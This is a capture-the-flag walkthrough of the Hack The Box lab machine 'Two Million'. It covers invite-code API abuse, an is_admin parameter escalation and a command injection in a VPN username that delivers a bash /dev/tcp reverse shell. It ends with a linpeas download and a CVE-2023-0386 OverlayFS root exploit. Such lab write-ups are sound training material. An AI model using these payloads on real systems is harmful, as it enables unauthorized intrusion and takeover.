HackTheBox Writeup — Two Million

Fares Elsadek
7 min readAug 6


This box was presented at the Hack The Box on 07 Jun 2023 by TRX & TheCyberGeek

Let’s get started!


Run a Nmap scan that scans all ports.

nmap -T4 -A -p-

We get the following result.

Nmap scan report for 2million.htb (
Host is up (0.16s latency).
Not shown: 998 closed tcp ports (conn-refused)
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
|_http-trane-info: Problem with XML parsing of /evox/about
| http-cookie-flags:
| /:
|_ httponly flag not set
|_http-title: Hack The Box :: Penetration Testing Labs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We have two ports open.

  1. port 22: running OpenSSH 8.9p1
  2. Port 80: Running nginx


Add the hostnames to the /etc/hosts     2million.htb

I always start off with enumerating HTTP first.

Port 80

Visit the application in the browser.

It looks like a Hackthebox page and we can identify a few things, we will have to solve a challenge to get onto the platform — As any platform should do to test learners.

We want to get the invitation code to be able to register!

if we look at the source code we found the inviteapi.min.js file.

open the file and paste the js code into the beautifier.io, we got the following script.

function verifyInviteCode(code) {
var formData = {
"code": code
type: "POST",
dataType: "json",
data: formData,
url: '/api/v1/invite/verify',
success: function(response) {
error: function(response) {

function makeInviteCode() {
type: "POST",
dataType: "json",
url: '/api/v1/invite/how/to/generate',
success: function(response) {
error: function(response) {

Notice the makeInviteCode function if we can use this information to get the invitation code.

making a POST request to http://2million.htb/api/v1/invite/how/to/generate using curl.

curl -sq -X POST http://2million.htb/api/v1/invite/how/to/generate | jq .

trying to encrypt ROT13 data using rot13.com.

we got the following message.

In order to generate the invite code, make a POST request to /api/v1/invite/generate

making a POST request to /api/v1/invite/generate using curl.

curl -sq -X POST http://2million.htb/api/v1/invite/generate | jq .

we got the invitation code but it seems like base64 encoded.

curl -sq -X POST http://2million.htb/api/v1/invite/generate | jq .data.code -r | base64 -d

and finally, we got the invitation code :).

trying to register using these credentials.


after login I’ve got access to what looks like the original HackTheBox website:

It says that the site is performing database migrations, and some features are unavailable. In reality, that means most. The Dashboard, Rules, and Change Log links under “Main” work, and have nice throwback pages to the original HTB.

Under “Labs”, the only link that really works is the “Access” page, which leads to /home/access:

after clicking on Regenerate it seems like sending a GET request to /api/v1/user/vpn/regenerate API to generate a VPN file.

I’ll send one of these requests to Burp Repeater and play with the API. /api/v1 returns a description:

I got the description of the API :

"v1": {
"user": {
"GET": {
"/api/v1": "Route List",
"/api/v1/invite/how/to/generate": "Instructions on invite code generation",
"/api/v1/invite/generate": "Generate invite code",
"/api/v1/invite/verify": "Verify invite code",
"/api/v1/user/auth": "Check if user is authenticated",
"/api/v1/user/vpn/generate": "Generate a new VPN configuration",
"/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
"/api/v1/user/vpn/download": "Download OVPN file"
"POST": {
"/api/v1/user/register": "Register a new user",
"/api/v1/user/login": "Login with existing user"
"admin": {
"GET": {
"/api/v1/admin/auth": "Check if user is admin"
"POST": {
"/api/v1/admin/vpn/generate": "Generate VPN for specific user"
"PUT": {
"/api/v1/admin/settings/update": "Update user settings"

Enumerate Admin API

Unfortunately, I am not an admin:

If I try to POST to /api/v1/admin/vpn/generate, it returns 401 Unauthorized:

However, a PUT request to /api/v1/admin/settings/update doesn’t return 401, but 200, with a different error in the body:

Get Admin Access

I will further explore the endpoint by making additional requests. Since the server indicated an invalid content type, I will examine the Content-Type header in my request. Upon checking, I noticed that there was no Content-Type header, so I will include one. Considering the website’s preference for JSON, I will set the Content-Type header to ‘application/json’.

after adding content type to JSON I got a different response that said “Missing parameter: email”

after adding the email parameter I got the message “Missing parameter: is_admin”

after adding is_admin parameter and setting its value to 1 we have successfully escalated our privileges to admin :).

Command Injection

Enumerate generate API

As my account is now an admin, I don’t get a 401 response anymore from /api/v1/admin/vpn/generate:

I’ll add my username and content type, and it generates a VPN file:

It appears that the VPN key generation process might not be written in PHP but rather relies on Bash tools to generate the required information for the VPN key.

It is advisable to investigate whether there is any potential command injection vulnerability.

If the server executes a command like genenrate_vpn.sh [username], I will attempt to exploit the vulnerability by inserting a ; in the username, causing it to be treated as a new command. To ensure that any subsequent input is ignored, I will add a # at the end of my input as a comment. Upon testing this approach, I confirm that it successfully exploits the vulnerability.

It works let's get a reverse shell on the machine.

To get a shell, I’ll start nc listening to my host and putting this bash code instead username.

bash -c 'bash -i >& /dev/tcp/ 0>&1' #'

On sending this, I get a shell at my nc:


The web root is in the default location, /var/www/html:

after some enumeration if found .env file in the default location of /var/www/html :

I found user name and password on it :

this password worked for login as admin using ssh :

we have got the first flag :).

privilege escalation

running linpeas :

first, install the tool from this GitHub repo.

on the attacker machine run a simple HTTP server using Python like this.

python3 -m http.server 333

install the linpeas using wget on the victim machine.

wget http://machine-ip:333/linpeas.sh
chmod +x linpeas.sh

I found in linpeas output mail application:

A search for “linux kernel vulnerability fuse overlayfs” limited to the last year returns a bunch of stuff about CVE-2023–0386:

I have got the CVE repo here.

we will install on the Vitim machine with the same process of installing linpeas.

we will run to terminals the first one we will type:

./fuse ./ovlcap/lower ./gc

the second one :


and we finally got the root :).